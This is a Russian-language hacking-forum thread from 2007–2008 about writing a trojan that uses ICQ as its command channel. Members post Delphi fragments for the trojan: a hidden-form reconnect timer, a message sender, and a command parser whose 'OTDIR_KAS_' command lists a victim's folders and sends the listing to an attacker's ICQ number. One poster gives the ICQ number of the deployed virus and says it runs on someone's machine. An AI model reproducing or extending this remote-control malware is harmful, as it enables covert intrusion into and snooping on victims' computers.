Пишем троя на icq

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by xaker-boss, 9 Jun 2007.

  1. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    Я сейчас заинтересовался этой темой и у меня вопрос : как вы собрались реализовывать таймер поддержки подключения? Да , и не могли бы вы кинуть сорцы на данный момент?
     
    #61 Manoff, 30 Mar 2008
    Last edited: 30 Mar 2008
  2. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    ????
     
  3. Twiddle

    Twiddle Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Ну как я понял чел имел в виду как мы будем делать таймер который будет конектитиь трой через интервалы времени к инету. ИМХО идиотский подход. Легче через сокет.
     
  4. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    А как? Просто я делаю свой бот без формы фактически тот же трой , тока мирный и мне эта шня нужна.Как васобрались реализовывать?
     
  5. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Исходники дать немогу, так как хозяин потом будет в бешенстве, но помочь могу:
    Ну там на форме всего 3 таймера
    PHP:
    procedure TForm1.IcqLogTimer(SenderTObject);
    begin
      
    if icq1.LoggedIn=false then
        
    //Если ася не подключена
        
    GO// Подключаемся
    end;
    PHP:
    procedure TForm1.ICQANSWTimer(SenderTObject);
    begin
     ICQANSW
    .Enabled:=false//  
     
    ICQ1.SendMessage(StrToInt(UINansw),strAnsw);
     
    Application.ProcessMessages;
    end;
    Трой просто весит в процессах и ждёт пока компьютер зайдёт в инет, как только он зашёл в инет он заходит в ICQ и ждёт там ваших команд
     
    #65 xaker-boss, 31 Mar 2008
    Last edited: 31 Mar 2008
  6. Twiddle

    Twiddle Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Мне больше интересен кое реализации "понимания" комманд. Особенно тех что с параметром.
     
  7. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    1. Вот UIN вируса: 258-291-730 . Кто-то его запустил, иногда поевляется в сети.
    2.OTDIR_KAS_ваш уин;Папка
    Функция возвращает список файлов и папок в указанной папке
    Пример использования: OTDIR_KAS_333999666;C:\
    Список файлов и папок находящихся в C:\ прийдет на номер 333999666 ::::
    PHP:
    if Copy(AnsiUpperCase(msg),1,10)='OTDIR_KAS_' then
    begin
       
    // OTDIR_KAS_OTDIR_KAS_333905248;C:\
       
    mes:=msg;
       
    delete(mes,1,10);
       
    oper:= Copy(mes,1,Pos(';',mes)-1);
       
    delete(mes,1,Pos(';',mes));
       
    UINansw:=  oper;
       
    strAnsw:=  GetDir(mes).Text;
       
    ICQANSW.Enabled:=true;
       Exit;
    end;
     
  8. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    xaker-boss тоесть ты хочешь сказать , что вы юзаете форму , но тогда проект до ху
    весить будет.Да и ещё есть код подключения
    Code:
    program WinisqB;
    uses Windows,SysUtils,Registry,ICQClient,ICQWorks;
    var
    ICQ: TICQClient;
    begin
     ICQ:= TICQClient.Create(nil);
     ICQ.UIN:=44028935;
     ICQ.Password:='kd';
     ICQ.ICQServer:='login.icq.com';
     ICQ.ICQPort:=5190;
     ICQ.Login();
     icq.Status:=8;
    end.
    он просто не конектит и всё . Чё неправильно ?
     
    #68 Manoff, 31 Mar 2008
    Last edited: 31 Mar 2008
  9. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Manoff да мы юзаем форму, но она скрыта.
    Код должен работать, НО у тебя неверный Password к UIN.
     
    #69 xaker-boss, 31 Mar 2008
    Last edited: 31 Mar 2008
  10. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    А ты думал , что я настоящий UIN c Pass'oм на форум кину :)?
     
  11. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    У меня все конектит, с чего ты вообще взял что он не логинится???
     
  12. I20nin

    I20nin New Member

    Joined:
    21 Dec 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    конечно не в тему но... у меня вопрос, почему сам не напишеш ??
    Разные функции здесь повыкладывал =)
     
  13. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Ну если ты незаметил тема была создана 09.06.2007, 13:50 .Тогда я неумел программировать. А сейчас у меня уже есть этот вир с исходником, но так как писал его не я, а только дорабатывал его я неимею никакого право выкладавать сюда исходник бес разрешения того кто его написал.Ну если у кого есть вопросы про функции обращайтесь.